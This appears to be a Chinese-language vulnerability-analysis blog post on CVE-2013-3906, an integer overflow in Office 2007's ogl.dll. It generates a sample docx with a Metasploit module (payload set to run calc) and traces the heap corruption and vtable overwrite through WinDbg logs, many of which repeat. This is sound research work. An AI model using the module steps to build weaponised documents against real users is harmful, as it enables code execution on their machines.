CVE-2013-3906是一个位于ogl.dll内的整数溢出漏洞,这是一个比较经典的整数溢出漏洞,当时是McAfee公司抓到的一个0day。关于这个漏洞还有一些趣闻 。这两天拿这个漏洞练了一下手。下文记录了我对该漏洞的分析过程,侧重于漏洞分析方面,本文对该漏洞用到的堆喷射和利用技巧不做讨论,如需了解这些请阅读本文的参考链接。
需要注意的是,在Windows 7+office 2010环境下ogl.dll并不存在,所以该漏洞不影响这一环境。
windows7 x86 + office 2007 sp0(ogl.dll 12.0.4518.1014)
调试样本生成自metasploit
首先用windbg挂上winword.exe,打开样本,发生崩溃,崩溃现场如下:
发现这个函数会被命中很多次,我们在每次命中断点时看一下eax的值,eax为虚表地址:
上文崩溃处调用的是虚表的第二个函数sub_476B,我们看一下这个函数:
这个函数的作用是比较当前对象的第一个成员变量是否等于“htP1”,这是在对该对象的tag进行校验。
我们再来看一下对象地址(esi)每次的情况:
可以看到对象地址是在发生变化的,不同地址代表每次传递给GdipClonePath函数的同一对象的不同实例,我们来看一下最后一个对象的内存情况:
可以看到对象位于堆中,而且数据都被覆盖为了0x08080808,很明显堆被破坏了。开启页堆,看一下堆是在什么时候被破坏的:
对目的地址的内存范围进行查看,大致可以看到有三种对象,其中虚表为0x676cab68的对象有5个,我们需要确定后面虚表调用处用到的是哪一个:
在我的调试环境中这几个内存位置分别位于距目的地址起始处0x300,0x570,0xF30,0x11a0,0x1410处。在盲测的情况下,可以先对前4个地址下内存访问断点(因为硬件断点最多只能下4个),如果未命中,再重启windbg对第5个地址下内存访问断点(如果已经定位到畸形数据位于tiff图片中,也可以修改相应偏移处的覆盖数据),一个修改的脚本如下所示:
从下面的测试日志可以看到,在我的环境中被覆盖的虚表是第1个,即AllocAddr偏移为0x300处的位置
同时,在开启页堆的情况下我们可以获知该类对象的大小为0x130:
紧接着从对象的+0xec处获取StripByteCounts.count
最后AllocLen = 累计值 + StripByteCounts.count*2 + JPEGInterchangeFormatLength + 8
整个计算过程的代码如下:
ogl.dll没有对这个公式计算得到的长度做基本的数据校验,导致整数溢出。后面在解析特定对象(维一零在文章中说这个对象叫做GraphicsPath,但我调试时没有拿到符号,只能根据校验的Tag断定这是一个类似的结构。此外,我看到《masTIFF - An in depth analysis of CVE-2013-3906.pptx》这篇文章的dps命令显示日志中有符号,暂不清楚作者是如何得到的)时,原本会调用该对象的一个虚函数进行Tag校验,但此时虚表的地址已被覆盖,从而劫持控制流到任意地方。这个漏洞的所有要点在
维一零的文章里已经写得很清晰了,本文只是对我自己有疑惑的一些地方进行了调试补充。
《CVE-2013-3906(ms13-096)漏洞分析与利用》 https://weiyiling.cn/one/cve_2013_3906_ms13-096
《An Analyze Of CVE-2013-3906》 www.adl.tw/adlab/ppt/551_CVE-2013-3906.pptx
《masTIFF - An in depth analysis of CVE-2013-3906.pptx》 http://www.reconstructer.org/papers/masTIFF%20-%20An%20in%20depth%20analysis%20of%20CVE-2013-3906.pptx
《tiff6.pdf》 https://www.itu.int/itudoc/itu-t/com16/tiff-fx/docs/tiff6.pdf
《TIFF "Tag Image File Format"》 https://medschool.vanderbilt.edu/pdb/tiff-tag-image-file-format
《关于CVE-2013-3906的八卦》 http://thecjw.0ginr.com/blog/archives/97
msf > search cve-2013-3906
[!] Module database cache not built yet, using slow search
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/fileformat/mswin_tiff_overflow 2013-11-05 average MS13-096 Microsoft Tagged Image File Format (TIFF) Integer Overflow
msf > use exploit/windows/fileformat/mswin_tiff_overflow
msf exploit(mswin_tiff_overflow) > show options
Module options (exploit/windows/fileformat/mswin_tiff_overflow):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.docx yes The docx file
Exploit target:
Id Name
-- ----
0 Windows XP SP3 with Office Standard 2010
msf exploit(mswin_tiff_overflow) > set payload windows/exec
payload => windows/exec
msf exploit(mswin_tiff_overflow) > show options
Module options (exploit/windows/fileformat/mswin_tiff_overflow):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.docx yes The docx file
Payload options (windows/exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
Exploit target:
Id Name
-- ----
0 Windows XP SP3 with Office Standard 2010
msf exploit(mswin_tiff_overflow) > set CMD calc
CMD => calc
msf exploit(mswin_tiff_overflow) > set EXITFUNC thread
EXITFUNC => thread
msf exploit(mswin_tiff_overflow) > set FILENAME cve-2013-3906-msf.docx_
FILENAME => cve-2013-3906-msf.docx_
msf exploit(mswin_tiff_overflow) > exploit
[*] Initializing files...
[*] Packing directory: word
[*] Packing file: word/webSettings.xml
[*] Packing directory: word/media
[*] Packing directory: word/embeddings
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet6.xlsx
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet4.xlsx
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet5.xlsx
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet1.xlsx
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet3.xlsx
[*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet2.xlsx
[*] Packing directory: word/charts
[*] Packing file: word/charts/chart3.xml
[*] Packing file: word/charts/chart4.xml
[*] Packing directory: word/charts/_rels
[*] Packing file: word/charts/_rels/chart5.xml.rels
[*] Packing file: word/charts/_rels/chart2.xml.rels
[*] Packing file: word/charts/_rels/chart1.xml.rels
[*] Packing file: word/charts/_rels/chart4.xml.rels
[*] Packing file: word/charts/_rels/chart6.xml.rels
[*] Packing file: word/charts/_rels/chart3.xml.rels
[*] Packing file: word/charts/chart2.xml
[*] Packing file: word/charts/chart5.xml
[*] Packing file: word/charts/chart6.xml
[*] Packing file: word/charts/chart1.xml
[*] Packing directory: word/theme
[*] Packing file: word/theme/theme1.xml
[*] Packing file: word/settings.xml
[*] Packing file: word/styles.xml
[*] Packing file: word/fontTable.xml
[*] Packing directory: docProps
[*] Packing file: docProps/app.xml
[*] Packing file: docProps/core.xml
[*] Packing directory: _rels
[*] Packing ActiveX controls...
[*] Packing file: [Content_Types].xml
[*] Packing file: /word/media/image1.jpeg
[*] Packing file: /word/document.xml
[*] Packing file: _rels/.rels
[*] Packing file: /word/_rels/document.xml.rels
[+] cve-2013-3906-msf.docx_ stored at /root/.msf4/local/cve-2013-3906-msf.docx_
msf exploit(mswin_tiff_overflow) > exploit
首先用windbg挂上winword.exe,打开样本,发生崩溃,崩溃现场如下:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=08080808 ebx=001b08c0 ecx=0f5edcf8 edx=00000000 esi=0f5edcf8 edi=001b072c
eip=67bce176 esp=001b0630 ebp=001b0644 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL -
OGL!GdipClonePath+0x2a:
67bce176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????
0:000> k 100
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
001b0644 6a04288e OGL!GdipClonePath+0x2a
001b0704 6a0b18ed oart!Ordinal1954+0x30e
001b073c 6a0b18bb oart!Ordinal2469+0x4c9
001b0750 6a0b3e40 oart!Ordinal2469+0x497
001b0790 6a07e16f oart!Ordinal725+0x2c
001b07c0 6a0b4590 oart!Ordinal2472+0x131
001b07f0 6a0b3da4 oart!Ordinal6123+0x2cb
001b0804 6a7948b5 oart!Ordinal533+0xa4
001b0854 6a07e092 oart!Ordinal1031+0x724
001b0924 6a07d802 oart!Ordinal2472+0x54
001b0b78 6a07d2e6 oart!Ordinal2552+0x1b2
001b0bc8 6a07be02 oart!Ordinal5854+0xd3
001b0c04 6a07bd8a oart!Ordinal2803+0x23
001b0c10 6356cfc9 oart!Ordinal292+0x30c
001b0d48 63567985 wwlib!DllGetClassObject+0x10837f
...
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=08080808 ebx=001b08c0 ecx=0f5edcf8 edx=00000000 esi=0f5edcf8 edi=001b072c
eip=67bce176 esp=001b0630 ebp=001b0644 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL -
OGL!GdipClonePath+0x2a:
67bce176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????
0:000> k 100
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
001b0644 6a04288e OGL!GdipClonePath+0x2a
001b0704 6a0b18ed oart!Ordinal1954+0x30e
001b073c 6a0b18bb oart!Ordinal2469+0x4c9
001b0750 6a0b3e40 oart!Ordinal2469+0x497
001b0790 6a07e16f oart!Ordinal725+0x2c
001b07c0 6a0b4590 oart!Ordinal2472+0x131
001b07f0 6a0b3da4 oart!Ordinal6123+0x2cb
001b0804 6a7948b5 oart!Ordinal533+0xa4
001b0854 6a07e092 oart!Ordinal1031+0x724
001b0924 6a07d802 oart!Ordinal2472+0x54
001b0b78 6a07d2e6 oart!Ordinal2552+0x1b2
001b0bc8 6a07be02 oart!Ordinal5854+0xd3
001b0c04 6a07bd8a oart!Ordinal2803+0x23
001b0c10 6356cfc9 oart!Ordinal292+0x30c
001b0d48 63567985 wwlib!DllGetClassObject+0x10837f
...
这明显是虚表被覆盖了,在IDA中定位到相关代码点如下:
崩溃点位于GdipClonePath函数,我们可以看到这是一处虚函数调用,正常情况下esi应该是一个对象地址,对红框处的call语句下断点:
发现这个函数会被命中很多次,我们在每次命中断点时看一下eax的值,eax为虚表地址:
0:000> bp ogl+e176 ".printf \"eax=0x%p\\n\", eax; g;"
0:000> g
eax=0x676cab68
...
eax=0x676cab68
eax=0x08080808
Thu Apr 12 17:02:31.953 2018 (GMT+8): (bbc.968): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=08080808 ebx=00220640 ecx=0dd1dcf8 edx=00000000 esi=0dd1dcf8 edi=002204ac
eip=6768e176 esp=002203b0 ebp=002203c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
OGL!GdipClonePath+0x2a:
6768e176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????
0:000> bp ogl+e176 ".printf \"eax=0x%p\\n\", eax; g;"
0:000> g
eax=0x676cab68
...
eax=0x676cab68
eax=0x08080808
Thu Apr 12 17:02:31.953 2018 (GMT+8): (bbc.968): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=08080808 ebx=00220640 ecx=0dd1dcf8 edx=00000000 esi=0dd1dcf8 edi=002204ac
eip=6768e176 esp=002203b0 ebp=002203c4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
OGL!GdipClonePath+0x2a:
6768e176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????
可以看到直到崩溃发生前的虚表地址都是一个固定值,我们看一下这个虚表内函数指针:
text:0004AB68 off_4AB68 dd offset sub_C95E ; DATA XREF: sub_39E9+Do
.text:0004AB68 ; sub_E6DC+12o ...
.text:0004AB6C dd offset sub_476B
.text:0004AB70 dd offset sub_15858B
.text:0004AB74 dd offset sub_162868
.text:0004AB78 dd offset sub_1627B1
.text:0004AB7C dd offset sub_12E4BE
.text:0004AB80 dd offset sub_3C837
.text:0004AB84 dd offset unknown_libname_2 ; Microsoft VisualC 2-11/net runtime
.text:0004AB88 dd offset sub_6163
.text:0004AB8C dd offset sub_7B44
.text:0004AB90 dd offset sub_72C93
.text:0004AB94 dd offset sub_206AD
.text:0004AB98 dd offset sub_203A1
.text:0004AB9C dd offset sub_ABE4
.text:0004ABA0 dd offset sub_1E480
.text:0004ABA4 dd offset sub_14BEFD
.text:0004ABA8 dd offset sub_14BE97
.text:0004ABAC dd offset sub_145EB1
.text:0004ABB0 dd offset sub_14645A
.text:0004ABB4 dd offset sub_1DF2D
.text:0004ABB8 dd offset sub_45AF
.text:0004ABBC dd offset sub_11A522
text:0004AB68 off_4AB68 dd offset sub_C95E ; DATA XREF: sub_39E9+Do
.text:0004AB68 ; sub_E6DC+12o ...
.text:0004AB6C dd offset sub_476B
.text:0004AB70 dd offset sub_15858B
.text:0004AB74 dd offset sub_162868
.text:0004AB78 dd offset sub_1627B1
.text:0004AB7C dd offset sub_12E4BE
.text:0004AB80 dd offset sub_3C837
.text:0004AB84 dd offset unknown_libname_2 ; Microsoft VisualC 2-11/net runtime
.text:0004AB88 dd offset sub_6163
.text:0004AB8C dd offset sub_7B44
.text:0004AB90 dd offset sub_72C93
.text:0004AB94 dd offset sub_206AD
.text:0004AB98 dd offset sub_203A1
.text:0004AB9C dd offset sub_ABE4
.text:0004ABA0 dd offset sub_1E480
.text:0004ABA4 dd offset sub_14BEFD
.text:0004ABA8 dd offset sub_14BE97
.text:0004ABAC dd offset sub_145EB1
.text:0004ABB0 dd offset sub_14645A
.text:0004ABB4 dd offset sub_1DF2D
.text:0004ABB8 dd offset sub_45AF
.text:0004ABBC dd offset sub_11A522
上文崩溃处调用的是虚表的第二个函数sub_476B,我们看一下这个函数:
这个函数的作用是比较当前对象的第一个成员变量是否等于“htP1”,这是在对该对象的tag进行校验。
我们再来看一下对象地址(esi)每次的情况:
0:000> bp ogl+e176 ".printf \"esi=0x%p\\n\", esi; g;"
0:000> g
esi=0x0f5b23a8
esi=0x0f5b23a8
esi=0x0f5b23a8
esi=0x0f5b23a8
esi=0x0f5b8470
esi=0x0f5b86e0
esi=0x0f5b8950
...
esi=0x0f5baa88
esi=0x0c99b638
esi=0x0c99aee8
esi=0x0c99bca0
esi=0x0c99cdb0
esi=0x0c99dcf8
Fri Apr 13 11:06:03.278 2018 (GMT+8): (a2c.b78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=08080808 ebx=002e0b10 ecx=0c99dcf8 edx=00000000 esi=0c99dcf8 edi=002e097c
eip=6741e176 esp=002e0880 ebp=002e0894 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
OGL!GdipClonePath+0x2a:
6741e176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????
0:000> bp ogl+e176 ".printf \"esi=0x%p\\n\", esi; g;"
0:000> g
esi=0x0f5b23a8
esi=0x0f5b23a8
esi=0x0f5b23a8
esi=0x0f5b23a8
esi=0x0f5b8470
esi=0x0f5b86e0
esi=0x0f5b8950
...
esi=0x0f5baa88
esi=0x0c99b638
esi=0x0c99aee8
esi=0x0c99bca0
esi=0x0c99cdb0
esi=0x0c99dcf8
Fri Apr 13 11:06:03.278 2018 (GMT+8): (a2c.b78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=08080808 ebx=002e0b10 ecx=0c99dcf8 edx=00000000 esi=0c99dcf8 edi=002e097c
eip=6741e176 esp=002e0880 ebp=002e0894 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
OGL!GdipClonePath+0x2a:
6741e176 ff5004 call dword ptr [eax+4] ds:0023:0808080c=????????
可以看到对象地址是在发生变化的,不同地址代表每次传递给GdipClonePath函数的同一对象的不同实例,我们来看一下最后一个对象的内存情况:
0:000> !address 0x0c99dcf8
ProcessParametrs 000a13a8 in range 000a0000 001a0000
Environment 000dc830 in range 000a0000 001a0000
0c990000 : 0c990000 - 00051000
Type 00020000 MEM_PRIVATE
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageHeap
Handle 0f5b0000
0:000> dd 0x0c99dcf8
0c99dcf8 08080808 08080808 08080808 08080808
0c99dd08 08080808 08080808 08080808 08080808
0c99dd18 08080808 08080808 08080808 08080808
0c99dd28 08080808 08080808 08080808 08080808
0c99dd38 08080808 08080808 08080808 08080808
0c99dd48 08080808 08080808 08080808 08080808
0c99dd58 08080808 08080808 08080808 08080808
0c99dd68 08080808 08080808 08080808 08080808
0:000> !address 0x0c99dcf8
ProcessParametrs 000a13a8 in range 000a0000 001a0000
Environment 000dc830 in range 000a0000 001a0000
0c990000 : 0c990000 - 00051000
Type 00020000 MEM_PRIVATE
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageHeap
Handle 0f5b0000
0:000> dd 0x0c99dcf8
0c99dcf8 08080808 08080808 08080808 08080808
0c99dd08 08080808 08080808 08080808 08080808
0c99dd18 08080808 08080808 08080808 08080808
0c99dd28 08080808 08080808 08080808 08080808
0c99dd38 08080808 08080808 08080808 08080808
0c99dd48 08080808 08080808 08080808 08080808
0c99dd58 08080808 08080808 08080808 08080808
0c99dd68 08080808 08080808 08080808 08080808
可以看到对象位于堆中,而且数据都被覆盖为了0x08080808,很明显堆被破坏了。开启页堆,看一下堆是在什么时候被破坏的:
C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe /p /enable winword.exe /full
...
Thu Apr 12 11:03:20.506 2018 (GMT+8): (f80.bd0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=2a66dffc ebx=00000001 ecx=00000521 edx=00000000 esi=2a66cb78 edi=2a670000
eip=6d9d500a esp=001a0738 ebp=001a0740 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
MSVCR80!memcpy+0x5a:
6d9d500a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> k 100
ChildEBP RetAddr
001a0740 69bb57e6 MSVCR80!memcpy+0x5a
WARNING: Stack unwind information not available. Following frames may be wrong.
001a075c 69b86470 OGL!GdipConvertToEmfPlusToStream+0x14b09
001a077c 69b9f761 OGL!GdipCreateTextureIAI+0x13af9
001a0798 69bdaa48 OGL!GdipMeasureCharacterRanges+0xb3f4
001a07ac 69b6ec13 OGL!GdipGetCellAscent+0x1cca7
001a07c8 69bd980c OGL!GdipEmfToWmfBits+0x140e6
001a07e4 69b07e44 OGL!GdipGetCellAscent+0x1ba6b
001a0864 69b07d2b OGL!GdipGetPointCount+0x1cc
001a0880 69b07b8a OGL!GdipGetPointCount+0xb3
001a0890 69b07aa8 OGL!GdipClosePathFigure+0x28a
001a08ac 69b0742a OGL!GdipClosePathFigure+0x1a8
001a08b8 69b0734e OGL!GdipAddPathLineI+0xc5a
001a08c8 69b03932 OGL!GdipAddPathLineI+0xb7e
001a08dc 6a096a21 OGL!GdipLoadImageFromStreamICM+0x4a
001a090c 6a0967bc oart!Ordinal2867+0x6bc
001a093c 6a095454 oart!Ordinal2867+0x457
001a0998 6a0952fe oart!Ordinal348+0x1e3
001a09dc 6a0952aa oart!Ordinal348+0x8d
001a0a10 6a0a0fea oart!Ordinal348+0x39
001a0a54 6a0a0c72 oart!Ordinal3368+0xd9
...
0:000> !heap -p -a edi
address 2a670000 found in
_DPH_HEAP_ROOT @ 24411000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2ab00068: 2a670000 0 - 2a66f000 2000
ReadMemory error for address 2a670000
6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77805ede ntdll!RtlDebugAllocateHeap+0x00000030
777ca40a ntdll!RtlpAllocateHeap+0x000000c4
77795ae0 ntdll!RtlAllocateHeap+0x0000023a
69b0246c OGL!GdiplusStartup+0x000009c7
69bb57a8 OGL!GdipConvertToEmfPlusToStream+0x00014acb
69b86470 OGL!GdipCreateTextureIAI+0x00013af9
69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4
69bdaa48 OGL!GdipGetCellAscent+0x0001cca7
69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6
69bd980c OGL!GdipGetCellAscent+0x0001ba6b
69b07e44 OGL!GdipGetPointCount+0x000001cc
69b07d2b OGL!GdipGetPointCount+0x000000b3
69b07b8a OGL!GdipClosePathFigure+0x0000028a
69b07aa8 OGL!GdipClosePathFigure+0x000001a8
69b0742a OGL!GdipAddPathLineI+0x00000c5a
69b0734e OGL!GdipAddPathLineI+0x00000b7e
69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a
6a096a21 oart!Ordinal2867+0x000006bc
6a0967bc oart!Ordinal2867+0x00000457
6a095454 oart!Ordinal348+0x000001e3
6a0952fe oart!Ordinal348+0x0000008d
6a0952aa oart!Ordinal348+0x00000039
6a0a0fea oart!Ordinal3368+0x000000d9
6a0a0c72 oart!Ordinal2671+0x000001e4
6a0a0425 oart!Ordinal759+0x00000116
6a84be79 oart!Ordinal3459+0x00000065
6a8c33ea oart!Ordinal2061+0x0000011e
6a097567 oart!Ordinal61+0x00000056
6a0adaaf oart!Ordinal1794+0x00000014
6a8cfa2c oart!Ordinal4418+0x000003d5
6a8cf076 oart!Ordinal6112+0x00000112
0:000> !heap -p -a esi
address 2a66cb78 found in
_DPH_HEAP_ROOT @ 24411000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2ab0009c: 2a66cb78 1484 - 2a66c000 3000
6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77805ede ntdll!RtlDebugAllocateHeap+0x00000030
777ca40a ntdll!RtlpAllocateHeap+0x000000c4
77795ae0 ntdll!RtlAllocateHeap+0x0000023a
69b0246c OGL!GdiplusStartup+0x000009c7
69b8653b OGL!GdipCreateTextureIAI+0x00013bc4
69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4
69bdaa48 OGL!GdipGetCellAscent+0x0001cca7
69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6
69bd980c OGL!GdipGetCellAscent+0x0001ba6b
69b07e44 OGL!GdipGetPointCount+0x000001cc
69b07d2b OGL!GdipGetPointCount+0x000000b3
69b07b8a OGL!GdipClosePathFigure+0x0000028a
69b07aa8 OGL!GdipClosePathFigure+0x000001a8
69b0742a OGL!GdipAddPathLineI+0x00000c5a
69b0734e OGL!GdipAddPathLineI+0x00000b7e
69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a
6a096a21 oart!Ordinal2867+0x000006bc
6a0967bc oart!Ordinal2867+0x00000457
6a095454 oart!Ordinal348+0x000001e3
6a0952fe oart!Ordinal348+0x0000008d
6a0952aa oart!Ordinal348+0x00000039
6a0a0fea oart!Ordinal3368+0x000000d9
6a0a0c72 oart!Ordinal2671+0x000001e4
6a0a0425 oart!Ordinal759+0x00000116
6a84be79 oart!Ordinal3459+0x00000065
6a8c33ea oart!Ordinal2061+0x0000011e
6a097567 oart!Ordinal61+0x00000056
6a0adaaf oart!Ordinal1794+0x00000014
6a8cfa2c oart!Ordinal4418+0x000003d5
6a8cf076 oart!Ordinal6112+0x00000112
6a0a8d11 oart!Ordinal5410+0x00000075
C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe /p /enable winword.exe /full
...
Thu Apr 12 11:03:20.506 2018 (GMT+8): (f80.bd0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=2a66dffc ebx=00000001 ecx=00000521 edx=00000000 esi=2a66cb78 edi=2a670000
eip=6d9d500a esp=001a0738 ebp=001a0740 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
MSVCR80!memcpy+0x5a:
6d9d500a f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> k 100
ChildEBP RetAddr
001a0740 69bb57e6 MSVCR80!memcpy+0x5a
WARNING: Stack unwind information not available. Following frames may be wrong.
001a075c 69b86470 OGL!GdipConvertToEmfPlusToStream+0x14b09
001a077c 69b9f761 OGL!GdipCreateTextureIAI+0x13af9
001a0798 69bdaa48 OGL!GdipMeasureCharacterRanges+0xb3f4
001a07ac 69b6ec13 OGL!GdipGetCellAscent+0x1cca7
001a07c8 69bd980c OGL!GdipEmfToWmfBits+0x140e6
001a07e4 69b07e44 OGL!GdipGetCellAscent+0x1ba6b
001a0864 69b07d2b OGL!GdipGetPointCount+0x1cc
001a0880 69b07b8a OGL!GdipGetPointCount+0xb3
001a0890 69b07aa8 OGL!GdipClosePathFigure+0x28a
001a08ac 69b0742a OGL!GdipClosePathFigure+0x1a8
001a08b8 69b0734e OGL!GdipAddPathLineI+0xc5a
001a08c8 69b03932 OGL!GdipAddPathLineI+0xb7e
001a08dc 6a096a21 OGL!GdipLoadImageFromStreamICM+0x4a
001a090c 6a0967bc oart!Ordinal2867+0x6bc
001a093c 6a095454 oart!Ordinal2867+0x457
001a0998 6a0952fe oart!Ordinal348+0x1e3
001a09dc 6a0952aa oart!Ordinal348+0x8d
001a0a10 6a0a0fea oart!Ordinal348+0x39
001a0a54 6a0a0c72 oart!Ordinal3368+0xd9
...
0:000> !heap -p -a edi
address 2a670000 found in
_DPH_HEAP_ROOT @ 24411000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2ab00068: 2a670000 0 - 2a66f000 2000
ReadMemory error for address 2a670000
6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77805ede ntdll!RtlDebugAllocateHeap+0x00000030
777ca40a ntdll!RtlpAllocateHeap+0x000000c4
77795ae0 ntdll!RtlAllocateHeap+0x0000023a
69b0246c OGL!GdiplusStartup+0x000009c7
69bb57a8 OGL!GdipConvertToEmfPlusToStream+0x00014acb
69b86470 OGL!GdipCreateTextureIAI+0x00013af9
69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4
69bdaa48 OGL!GdipGetCellAscent+0x0001cca7
69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6
69bd980c OGL!GdipGetCellAscent+0x0001ba6b
69b07e44 OGL!GdipGetPointCount+0x000001cc
69b07d2b OGL!GdipGetPointCount+0x000000b3
69b07b8a OGL!GdipClosePathFigure+0x0000028a
69b07aa8 OGL!GdipClosePathFigure+0x000001a8
69b0742a OGL!GdipAddPathLineI+0x00000c5a
69b0734e OGL!GdipAddPathLineI+0x00000b7e
69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a
6a096a21 oart!Ordinal2867+0x000006bc
6a0967bc oart!Ordinal2867+0x00000457
6a095454 oart!Ordinal348+0x000001e3
6a0952fe oart!Ordinal348+0x0000008d
6a0952aa oart!Ordinal348+0x00000039
6a0a0fea oart!Ordinal3368+0x000000d9
6a0a0c72 oart!Ordinal2671+0x000001e4
6a0a0425 oart!Ordinal759+0x00000116
6a84be79 oart!Ordinal3459+0x00000065
6a8c33ea oart!Ordinal2061+0x0000011e
6a097567 oart!Ordinal61+0x00000056
6a0adaaf oart!Ordinal1794+0x00000014
6a8cfa2c oart!Ordinal4418+0x000003d5
6a8cf076 oart!Ordinal6112+0x00000112
0:000> !heap -p -a esi
address 2a66cb78 found in
_DPH_HEAP_ROOT @ 24411000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
2ab0009c: 2a66cb78 1484 - 2a66c000 3000
6dce8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77805ede ntdll!RtlDebugAllocateHeap+0x00000030
777ca40a ntdll!RtlpAllocateHeap+0x000000c4
77795ae0 ntdll!RtlAllocateHeap+0x0000023a
69b0246c OGL!GdiplusStartup+0x000009c7
69b8653b OGL!GdipCreateTextureIAI+0x00013bc4
69b9f761 OGL!GdipMeasureCharacterRanges+0x0000b3f4
69bdaa48 OGL!GdipGetCellAscent+0x0001cca7
69b6ec13 OGL!GdipEmfToWmfBits+0x000140e6
69bd980c OGL!GdipGetCellAscent+0x0001ba6b
69b07e44 OGL!GdipGetPointCount+0x000001cc
69b07d2b OGL!GdipGetPointCount+0x000000b3
69b07b8a OGL!GdipClosePathFigure+0x0000028a
69b07aa8 OGL!GdipClosePathFigure+0x000001a8
69b0742a OGL!GdipAddPathLineI+0x00000c5a
69b0734e OGL!GdipAddPathLineI+0x00000b7e
69b03932 OGL!GdipLoadImageFromStreamICM+0x0000004a
6a096a21 oart!Ordinal2867+0x000006bc
6a0967bc oart!Ordinal2867+0x00000457
6a095454 oart!Ordinal348+0x000001e3
6a0952fe oart!Ordinal348+0x0000008d
6a0952aa oart!Ordinal348+0x00000039
6a0a0fea oart!Ordinal3368+0x000000d9
6a0a0c72 oart!Ordinal2671+0x000001e4
6a0a0425 oart!Ordinal759+0x00000116
6a84be79 oart!Ordinal3459+0x00000065
6a8c33ea oart!Ordinal2061+0x0000011e
6a097567 oart!Ordinal61+0x00000056
6a0adaaf oart!Ordinal1794+0x00000014
6a8cfa2c oart!Ordinal4418+0x000003d5
6a8cf076 oart!Ordinal6112+0x00000112
6a0a8d11 oart!Ordinal5410+0x00000075
可以看到堆破坏时有一片大小为0x1484的数据被拷贝到一块大小为0x0的堆空间处,从而发生了堆破坏,通过栈回溯可以看到拷贝发生在sub_B576D函数内:
我们在将拷贝发生处所在的函数(
sub_B576D)命名为cve_2013_3906_func,在反汇编视图下可以更清晰地看到这一过程:
可以看到拷贝的源地址和拷贝大小是作为参数传入cve_2013_3906_func函数的,拷贝的目的地址为通过一个公式的计算结果而申请的一片堆空间,从上面的调试结果已经知道目的地址的空间大小为0,怀疑上图红框对应的公式在计算AllocLen时发生了整数溢出,我们在在调试器中验证一下:
对cve_2013_3906_func函数首部下断点:
bp ogl+b576d
对cve_2013_3906_func函数首部下断点:
bp ogl+b576d
